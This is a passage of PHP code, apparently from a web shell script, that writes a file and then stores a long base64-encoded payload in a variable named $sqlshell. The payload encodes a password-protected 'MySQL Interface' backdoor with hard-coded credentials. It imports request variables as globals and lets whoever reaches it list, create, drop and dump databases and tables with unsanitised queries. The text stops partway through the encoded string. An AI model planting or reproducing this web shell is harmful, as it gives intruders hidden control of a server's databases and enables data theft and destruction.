  801. fwrite ( $buka , $metin ) ;
  802. fclose ($buka);
  803. $sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2